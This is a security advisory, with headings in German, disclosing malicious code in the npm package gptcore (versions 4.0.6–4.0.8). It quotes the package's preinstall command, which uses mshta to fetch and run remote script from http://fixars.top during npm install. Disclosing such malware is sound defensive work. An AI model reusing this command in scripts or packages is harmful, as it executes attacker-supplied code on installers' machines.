GHSA-vv8g-6vxg-jcqm
Malicious code in gptcore (npm)
Auswirkung
## Source: amazon-inspector (c36c51510f3762d03ab5bd7132de4a65a950f410cb5771a99d4fdc9334a9c895) gptcore@4.0.7 declares a preinstall lifecycle script that runs `exec('cmd /c "mshta http://fixars.top"')` in preinstall.js. On Windows, this fires automatically during `npm install` and launches mshta.exe against the remote URL http://fixars.top, causing whatever HTA/JScript content that host currently serves to execute on the installer's machine. The destination is a hardcoded third-party host over plain HTTP, with no pinning, hash verification, or relationship to a legitimate publisher, and the fetched content is unrelated to any documented package purpose. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/4e54bda12131399ffe6308b84f7e690ff0d3aa5f/osv/malicious/npm/gptcore/MAL-2026-10204.json))
Betroffene Pakete
| Ökosystem | Paket | Betroffen | Behoben in |
|---|---|---|---|
| npm | gptcore | = 4.0.6 | nicht erfasst |
| npm | gptcore | = 4.0.7 | nicht erfasst |
| npm | gptcore | = 4.0.8 | nicht erfasst |
Schwachstellenklasse
Referenzen
- GitHub-Advisory
- https://github.com/advisories/GHSA-vv8g-6vxg-jcqm
- https://github.com/ossf/malicious-packages/blob/4e54bda12131399ffe6308b84f7e690ff0d3aa5f/osv/malicious/npm/gptcore/MAL-2026-10204.json
- https://www.npmjs.com/package/gptcore/v/4.0.6
- https://www.npmjs.com/package/gptcore/v/4.0.7
- https://www.npmjs.com/package/gptcore/v/4.0.8
- https://github.com/ossf/malicious-packages/blob/05b419acdcdd6e02782971da765f32a22a1aed8e/osv/malicious/npm/gptcore/MAL-2026-10204.json